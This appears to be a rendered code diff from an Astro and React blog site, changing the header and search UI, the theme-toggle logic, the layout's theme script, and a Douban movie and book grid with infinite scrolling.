))}
{article.tags.length > 3 && (
<span className="text-xs text-gray-400 dark:text-gray-500">
+{article.tags.length - 3}
</span>
)}
</div>
)}
</a>
</li>
);
})}
</ul>
);
};
// 准备样式类
const headerBgClasses = `absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 ${
scrolled ? 'scrolled' : ''
}`;
return (
<header className="fixed w-full top-0 z-50" id="main-header">
<div className={headerBgClasses} id="header-bg"></div>
<nav className="relative">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="flex justify-between h-16">
{/* Logo 部分 */}
<div className="flex items-center">
<a href="/" className="text-xl md:text-2xl font-bold tracking-tight bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
{SITE_NAME}
</a>
</div>
{/* 导航链接 */}
<div className="hidden md:flex md:items-center md:space-x-8">
{/* 桌面端搜索框 */}
<div className="relative">
<input
type="text"
id="desktop-search"
ref={desktopSearchRef}
className="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
placeholder="搜索文章..."
onFocus={() => {
setDesktopSearchFocused(true);
fetchArticles();
}}
onChange={(e) => debouncedSearch(e.target.value)}
/>
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg className="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
{/* 搜索结果容器 */}
<div
ref={desktopResultsRef}
className={`absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 ${
desktopSearchFocused ? '' : 'hidden'
}`}
>
{renderSearchResults()}
</div>
</div>
{/* 导航链接 */}
{NAV_LINKS.map((link) => (
<a
key={link.href}
href={link.href}
className={`inline-flex items-center px-1 pt-1 text-sm font-medium ${
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
}`}
>
{link.text}
</a>
))}
<ThemeToggle />
</div>
{/* 移动端菜单按钮 */}
<div className="flex items-center md:hidden">
{/* 移动端搜索按钮 */}
<button
type="button"
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2"
aria-expanded={mobileSearchOpen}
aria-label="搜索"
onClick={() => {
setMobileSearchOpen(true);
setTimeout(() => {
mobileSearchRef.current?.focus();
}, 100);
fetchArticles();
}}
>
<span className="sr-only"></span>
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</button>
{/* 移动端菜单按钮 */}
<button
type="button"
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500"
id="mobile-menu-button"
aria-expanded={mobileMenuOpen}
aria-label="打开菜单"
onClick={() => setMobileMenuOpen(!mobileMenuOpen)}
>
<span className="sr-only"></span>
{mobileMenuOpen ? (
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
</svg>
) : (
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
)}
</button>
</div>
</div>
</div>
{/* 移动端搜索面板 */}
{mobileSearchOpen && (
<div className="md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700 show">
<div className="relative">
<input
type="text"
ref={mobileSearchRef}
className="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
placeholder="搜索文章..."
onChange={(e) => debouncedSearch(e.target.value)}
/>
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg className="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<button
className="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
aria-label="关闭搜索"
onClick={() => setMobileSearchOpen(false)}
>
<svg className="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
{/* 移动端搜索结果 */}
<div className={`mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm ${searchQuery ? '' : 'hidden'}`}>
{renderSearchResults()}
</div>
</div>
)}
{/* 移动端菜单 */}
{mobileMenuOpen && (
<div className="md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
<div className="backdrop-blur-[6px] bg-white/80 dark:bg-gray-800/80 shadow-md">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
<div className="grid gap-1">
{NAV_LINKS.map((link) => (
<a
key={link.href}
href={link.href}
className={`flex items-center px-3 py-3 rounded-lg text-base font-medium ${
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
}`}
>
{link.text}
</a>
))}
<div
className="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2"
onClick={(e) => {
const themeToggleButton = e.currentTarget.querySelector('[role="button"]');
const target = e.target as HTMLElement;
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
themeToggleButton.click();
}
}}
>
<span className="text-sm font-medium text-gray-600 dark:text-gray-300"></span>
<ThemeToggle />
</div>
</div>
</div>
</div>
</div>
)}
</nav>
</header>
);
}

View File

@ -1,7 +1,7 @@
--- ---
import "@/styles/global.css"; import "@/styles/global.css";
import Header from "@/components/Header.tsx"; import Header from "@/components/header.astro";
import {Footer} from "@/components/Footer.tsx"; import Footer from "@/components/Footer.astro";
import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts"; import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts";
// 定义Props接口 // 定义Props接口
@ -54,30 +54,23 @@ const { title = SITE_NAME, description = SITE_DESCRIPTION, date, author, tags, i
{tags && tags.map(tag => ( {tags && tags.map(tag => (
<meta property="article:tag" content={tag} /> <meta property="article:tag" content={tag} />
))} ))}
<script is:inline>
// 立即执行主题初始化,并防止变量重复声明
(function() {
// 检查变量是否已存在
if (typeof window.__themeInitDone === 'undefined') {
// 设置标志,表示初始化已完成
window.__themeInitDone = true;
const theme = (() => { <script is:inline>
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) { // 立即执行主题初始化
return localStorage.getItem('theme'); const theme = (() => {
} if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
if (window.matchMedia('(prefers-color-scheme: dark)').matches) { return localStorage.getItem('theme');
return 'dark';
}
return 'light';
})();
document.documentElement.dataset.theme = theme;
} }
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
return 'dark';
}
return 'light';
})(); })();
document.documentElement.dataset.theme = theme;
</script> </script>
</head> </head>
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg flex flex-col min-h-screen"> <body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg transition-colors duration-300 flex flex-col min-h-screen">
<Header client:load/> <Header />
<main class="pt-16 flex-grow"> <main class="pt-16 flex-grow">
<slot /> <slot />
</main> </main>

View File

@ -0,0 +1,151 @@
---
interface Props {
type: 'movie' | 'book';
title: string;
doubanId: string;
}
const { type, title, doubanId } = Astro.props;
---
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<h1 class="text-3xl font-bold mb-6">{title}</h1>
<div id="media-list" class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
<!-- 内容将通过JS动态加载 -->
</div>
<div id="loading" class="text-center py-8">
<div class="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p class="mt-2 text-gray-600">加载更多...</p>
</div>
<div id="end-message" class="text-center py-8 hidden">
<p class="text-gray-600">已加载全部内容</p>
</div>
</div>
<script is:inline define:vars={{ type, doubanId }}>
let currentPage = 1;
let isLoading = false;
let hasMoreContent = true;
const itemsPerPage = 15; // 豆瓣每页显示的数量
async function fetchMedia(page = 1, append = false) {
if (isLoading || (!append && !hasMoreContent)) {
return;
}
isLoading = true;
showLoading(true);
const start = (page - 1) * itemsPerPage;
try {
const response = await fetch(`/api/douban?type=${type}&start=${start}&doubanId=${doubanId}`);
if (!response.ok) {
throw new Error(`获取${type === 'movie' ? '电影' : '图书'}数据失败`);
}
const data = await response.json();
renderMedia(data.items, append);
// 更新分页状态
currentPage = data.pagination.current;
hasMoreContent = data.pagination.hasNext;
if (!hasMoreContent) {
showEndMessage(true);
}
} catch (error) {
const mediaList = document.getElementById('media-list');
if (mediaList && !append) {
mediaList.innerHTML = '<div class="col-span-full text-center text-red-500">获取数据失败,请稍后再试</div>';
}
} finally {
isLoading = false;
showLoading(false);
}
}
function renderMedia(items, append = false) {
const mediaList = document.getElementById('media-list');
if (!mediaList) return;
if (!items || items.length === 0) {
if (!append) {
mediaList.innerHTML = `<div class="col-span-full text-center">暂无${type === 'movie' ? '电影' : '图书'}数据</div>`;
}
return;
}
const mediaHTML = items.map(item => `
<div class="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl transition-shadow duration-300">
<div class="relative pb-[150%] overflow-hidden">
<img src="${item.imageUrl}" alt="${item.title}" class="absolute top-0 left-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105">
<div class="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
<h3 class="font-bold text-white text-sm line-clamp-2">
<a href="${item.link}" target="_blank" class="hover:text-blue-300 transition-colors">${item.title}</a>
</h3>
</div>
</div>
</div>
`).join('');
if (append) {
mediaList.innerHTML += mediaHTML;
} else {
mediaList.innerHTML = mediaHTML;
}
}
function showLoading(show) {
const loading = document.getElementById('loading');
if (loading) {
if (show) {
loading.classList.remove('hidden');
} else {
loading.classList.add('hidden');
}
}
}
function showEndMessage(show) {
const endMessage = document.getElementById('end-message');
if (endMessage) {
endMessage.classList.toggle('hidden', !show);
}
}
function setupInfiniteScroll() {
// 直接使用滚动事件
window.addEventListener('scroll', handleScroll);
// 初始检查一次,以防内容不足一屏
setTimeout(handleScroll, 500);
}
function handleScroll() {
if (isLoading || !hasMoreContent) {
return;
}
const scrollY = window.scrollY;
const windowHeight = window.innerHeight;
const documentHeight = document.documentElement.scrollHeight;
// 当滚动到距离底部300px时加载更多
if (scrollY + windowHeight >= documentHeight - 300) {
fetchMedia(currentPage + 1, true);
}
}
// 初始加载
document.addEventListener('DOMContentLoaded', () => {
fetchMedia(1, false).then(() => {
setupInfiniteScroll();
}).catch(err => {
// 错误已在fetchMedia中处理
});
});
</script>

View File

@ -1,359 +0,0 @@
import React, { useEffect, useRef, useState } from 'react';
interface MediaGridProps {
type: 'movie' | 'book';
title: string;
doubanId: string;
}
interface MediaItem {
title: string;
imageUrl: string;
link: string;
}
interface PaginationInfo {
current: number;
hasNext: boolean;
}
const MediaGrid: React.FC<MediaGridProps> = ({ type, title, doubanId }) => {
const [items, setItems] = useState<MediaItem[]>([]);
const [isLoading, setIsLoading] = useState(false);
const [hasMoreContent, setHasMoreContent] = useState(true);
const [currentPage, setCurrentPage] = useState(1);
const [error, setError] = useState<string | null>(null);
const itemsPerPage = 15;
const mediaListRef = useRef<HTMLDivElement>(null);
const lastScrollTime = useRef(0);
// 使用ref来跟踪关键状态避免闭包问题
const stateRef = useRef({
isLoading: false,
hasMoreContent: true,
currentPage: 1,
error: null as string | null
});
// 封装fetch函数但不使用useCallback以避免依赖循环
const fetchMedia = async (page = 1, append = false) => {
// 使用ref中的最新状态
if (stateRef.current.isLoading ||
(!append && !stateRef.current.hasMoreContent) ||
(append && !stateRef.current.hasMoreContent)) {
return;
}
// 更新状态和ref
setIsLoading(true);
stateRef.current.isLoading = true;
// 只在首次加载时清除错误
if (!append) {
setError(null);
stateRef.current.error = null;
}
const start = (page - 1) * itemsPerPage;
try {
const response = await fetch(`/api/douban?type=${type}&start=${start}&doubanId=${doubanId}`);
if (!response.ok) {
// 解析响应内容,获取详细错误信息
let errorMessage = `获取${type === 'movie' ? '电影' : '图书'}数据失败`;
try {
const errorData = await response.json();
if (errorData && errorData.error) {
errorMessage = errorData.error;
if (errorData.message) {
errorMessage += `: ${errorData.message}`;
}
}
} catch (e) {
// 无法解析JSON使用默认错误信息
}
// 针对不同错误提供更友好的提示
if (response.status === 403) {
errorMessage = "豆瓣接口访问受限,可能是请求过于频繁,请稍后再试";
} else if (response.status === 404) {
// 对于404错误如果是追加模式说明已经到了最后一页设置hasMoreContent为false
if (append) {
setHasMoreContent(false);
stateRef.current.hasMoreContent = false;
setIsLoading(false);
stateRef.current.isLoading = false;
return; // 直接返回,不设置错误,不清空已有数据
} else {
errorMessage = "未找到相关内容请检查豆瓣ID是否正确";
}
}
// 设置错误状态和ref
setError(errorMessage);
stateRef.current.error = errorMessage;
// 只有非追加模式才清空数据
if (!append) {
setItems([]);
}
throw new Error(errorMessage);
}
const data = await response.json();
if (data.items.length === 0) {
// 如果返回的项目为空,则认为已经没有更多内容
setHasMoreContent(false);
stateRef.current.hasMoreContent = false;
if (!append) {
setItems([]);
}
} else {
if (append) {
setItems(prev => {
const newItems = [...prev, ...data.items];
return newItems;
});
} else {
setItems(data.items);
}
// 更新页码状态和ref
setCurrentPage(data.pagination.current);
stateRef.current.currentPage = data.pagination.current;
// 更新是否有更多内容的状态和ref
const newHasMoreContent = data.pagination.hasNext;
setHasMoreContent(newHasMoreContent);
stateRef.current.hasMoreContent = newHasMoreContent;
}
} catch (error) {
// 只有在非追加模式下才清空已加载的内容
if (!append) {
setItems([]);
}
} finally {
// 重置加载状态
setIsLoading(false);
stateRef.current.isLoading = false;
}
};
// 处理滚动事件
const handleScroll = () => {
// 获取关键滚动值
const scrollY = window.scrollY;
const windowHeight = window.innerHeight;
const documentHeight = document.documentElement.scrollHeight;
const scrollPosition = scrollY + windowHeight;
const threshold = documentHeight - 300;
// 限制滚动日志频率,每秒最多输出一次
const now = Date.now();
if (now - lastScrollTime.current < 1000) {
return;
}
lastScrollTime.current = now;
// 使用ref中的最新状态来检查
if (stateRef.current.isLoading || !stateRef.current.hasMoreContent || stateRef.current.error) {
return;
}
// 当滚动到距离底部300px时加载更多
if (scrollPosition >= threshold) {
fetchMedia(stateRef.current.currentPage + 1, true);
}
};
// 更新ref值以跟踪状态变化
useEffect(() => {
stateRef.current.isLoading = isLoading;
}, [isLoading]);
useEffect(() => {
stateRef.current.hasMoreContent = hasMoreContent;
}, [hasMoreContent]);
useEffect(() => {
stateRef.current.currentPage = currentPage;
}, [currentPage]);
useEffect(() => {
stateRef.current.error = error;
}, [error]);
// 组件初始化和依赖变化时重置
useEffect(() => {
// 重置状态
setCurrentPage(1);
stateRef.current.currentPage = 1;
setHasMoreContent(true);
stateRef.current.hasMoreContent = true;
setError(null);
stateRef.current.error = null;
setIsLoading(false);
stateRef.current.isLoading = false;
// 清空列表
setItems([]);
// 加载第一页数据
fetchMedia(1, false);
// 管理滚动事件
const scrollListener = handleScroll;
// 移除任何现有监听器
window.removeEventListener('scroll', scrollListener);
// 添加滚动事件监听器 - 使用passive: true可提高滚动性能
window.addEventListener('scroll', scrollListener, { passive: true });
// 创建一个IntersectionObserver作为备选检测方案
const observerOptions = {
root: null,
rootMargin: '300px',
threshold: 0.1
};
const intersectionObserver = new IntersectionObserver((entries) => {
const entry = entries[0];
if (entry.isIntersecting &&
!stateRef.current.isLoading &&
stateRef.current.hasMoreContent &&
!stateRef.current.error) {
fetchMedia(stateRef.current.currentPage + 1, true);
}
}, observerOptions);
// 添加检测底部的元素 - 放在grid容器的后面而不是内部
const footer = document.createElement('div');
footer.id = 'scroll-detector';
footer.style.width = '100%';
footer.style.height = '10px';
// 确保mediaListRef有父元素
if (mediaListRef.current && mediaListRef.current.parentElement) {
// 插入到grid后面而不是内部
mediaListRef.current.parentElement.insertBefore(footer, mediaListRef.current.nextSibling);
intersectionObserver.observe(footer);
}
// 初始检查一次,以防内容不足一屏
const timeoutId = setTimeout(() => {
if (stateRef.current.hasMoreContent && !stateRef.current.isLoading) {
scrollListener();
}
}, 500);
// 清理函数
return () => {
clearTimeout(timeoutId);
window.removeEventListener('scroll', scrollListener);
intersectionObserver.disconnect();
document.getElementById('scroll-detector')?.remove();
};
}, [type, doubanId]); // 只在关键属性变化时执行
// 错误提示组件
const ErrorMessage = () => {
if (!error) return null;
return (
<div className="col-span-full text-center bg-red-50 p-4 rounded-md">
<div className="flex flex-col items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-12 w-12 text-red-500 mb-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
</svg>
<h3 className="text-lg font-medium text-red-800">访</h3>
<p className="mt-1 text-sm text-red-700">{error}</p>
<button
onClick={() => {
// 重置错误和加载状态
setError(null);
stateRef.current.error = null;
// 允许再次加载
setHasMoreContent(true);
stateRef.current.hasMoreContent = true;
// 重新获取当前页
fetchMedia(currentPage, false);
}}
className="mt-4 px-4 py-2 bg-red-600 text-white rounded-md hover:bg-red-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-red-500"
>
</button>
</div>
</div>
);
};
// 没有更多内容提示
const EndMessage = () => {
if (isLoading || !items.length || error) return null;
return (
<div className="text-center py-8">
<p className="text-gray-600"></p>
</div>
);
};
return (
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<h1 className="text-3xl font-bold mb-6">{title}</h1>
<div ref={mediaListRef} className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
{error && items.length === 0 ? (
<ErrorMessage />
) : items.length > 0 ? (
items.map((item, index) => (
<div key={`${item.title}-${index}`} className="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl">
<div className="relative pb-[150%] overflow-hidden">
<img
src={item.imageUrl}
alt={item.title}
className="absolute top-0 left-0 w-full h-full object-cover hover:scale-105"
/>
<div className="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
<h3 className="font-bold text-white text-sm line-clamp-2">
<a href={item.link} target="_blank" rel="noopener noreferrer" className="hover:text-blue-300">
{item.title}
</a>
</h3>
</div>
</div>
</div>
))
) : !isLoading ? (
<div className="col-span-full text-center">{type === 'movie' ? '电影' : '图书'}</div>
) : null}
</div>
{error && items.length > 0 && (
<div className="mt-4">
<ErrorMessage />
</div>
)}
{isLoading && (
<div className="text-center py-8">
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p className="mt-2 text-gray-600">...{currentPage}</p>
</div>
)}
{!hasMoreContent && items.length > 0 && !isLoading && (
<EndMessage />
)}
</div>
);
};
export default MediaGrid;

View File

@ -1,25 +1,17 @@
import { useEffect, useState, useCallback, useRef } from 'react'; import { useEffect, useState } from 'react';
export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", className = "" }) { export function ThemeToggle({ height = 16, width = 16, fill = "currentColor" }) {
// 使null // 使null
const [theme, setTheme] = useState<string | null>(null); const [theme, setTheme] = useState(null);
const [mounted, setMounted] = useState(false); const [mounted, setMounted] = useState(false);
const [transitioning, setTransitioning] = useState(false);
const transitionTimeoutRef = useRef<NodeJS.Timeout | null>(null);
//
const getSystemTheme = useCallback(() => {
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
}, []);
// //
useEffect(() => { useEffect(() => {
setMounted(true); setMounted(true);
// localStorage document.documentElement.dataset.theme // localStorage document.documentElement.dataset.theme
const savedTheme = localStorage.getItem('theme'); const savedTheme = localStorage.getItem('theme');
const rootTheme = document.documentElement.dataset.theme; const rootTheme = document.documentElement.dataset.theme;
const systemTheme = getSystemTheme(); const systemTheme = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
// 使 // 使
const initialTheme = savedTheme || rootTheme || systemTheme; const initialTheme = savedTheme || rootTheme || systemTheme;
@ -27,64 +19,34 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
// //
document.documentElement.dataset.theme = initialTheme; document.documentElement.dataset.theme = initialTheme;
}, []);
//
const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');
const handleMediaChange = (e: MediaQueryListEvent) => {
//
if (!localStorage.getItem('theme')) {
const newTheme = e.matches ? 'dark' : 'light';
setTheme(newTheme);
document.documentElement.dataset.theme = newTheme;
}
};
mediaQuery.addEventListener('change', handleMediaChange);
return () => {
mediaQuery.removeEventListener('change', handleMediaChange);
//
if (transitionTimeoutRef.current) {
clearTimeout(transitionTimeoutRef.current);
transitionTimeoutRef.current = null;
}
};
}, [getSystemTheme]);
// DOM localStorage
useEffect(() => { useEffect(() => {
if (!mounted || theme === null) return; if (!mounted || theme === null) return;
// DOM localStorage
document.documentElement.dataset.theme = theme; document.documentElement.dataset.theme = theme;
// if (theme === getSystemTheme()) {
const isSystemTheme = theme === getSystemTheme();
if (isSystemTheme) {
localStorage.removeItem('theme'); localStorage.removeItem('theme');
} else { } else {
localStorage.setItem('theme', theme); localStorage.setItem('theme', theme);
} }
}, [theme, mounted, getSystemTheme]); }, [theme, mounted]);
const toggleTheme = useCallback(() => { function getSystemTheme() {
if (transitioning) return; // return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
}
setTransitioning(true); function toggleTheme() {
setTheme(prevTheme => prevTheme === 'light' ? 'dark' : 'light'); setTheme(prevTheme => prevTheme === 'light' ? 'dark' : 'light');
}
// 300ms
transitionTimeoutRef.current = setTimeout(() => {
setTransitioning(false);
}, 300);
}, [transitioning]);
// //
if (!mounted || theme === null) { if (!mounted || theme === null) {
return ( return (
<div <div
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`} className="inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 mt-1"
> >
<span className="sr-only">加载主题切换按钮...</span> <span className="sr-only">加载主题切换按钮...</span>
</div> </div>
@ -93,25 +55,17 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
return ( return (
<div <div
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`} className="inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 mt-1"
onClick={toggleTheme} onClick={toggleTheme}
role="button" role="button"
tabIndex={0} aria-label={`Switch to ${theme === 'dark' ? 'light' : 'dark'} mode`}
onKeyDown={(e) => {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
toggleTheme();
}
}}
aria-label={`切换到${theme === 'dark' ? '浅色' : '深色'}模式`}
> >
{theme === 'dark' ? ( {theme === 'dark' ? (
<svg <svg
style={{ height: `${height}px`, width: `${width}px` }} style={{ height: `${height}px`, width: `${width}px` }}
fill={fill} fill={fill}
viewBox="0 0 16 16" viewBox="0 0 16 16"
className="hover:scale-110" className="transition-transform duration-200 hover:scale-110"
aria-hidden="true"
> >
<path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/> <path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
</svg> </svg>
@ -120,8 +74,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
style={{ height: `${height}px`, width: `${width}px` }} style={{ height: `${height}px`, width: `${width}px` }}
fill={fill} fill={fill}
viewBox="0 0 16 16" viewBox="0 0 16 16"
className="hover:scale-110" className="transition-transform duration-200 hover:scale-110"
aria-hidden="true"
> >
<path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/> <path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 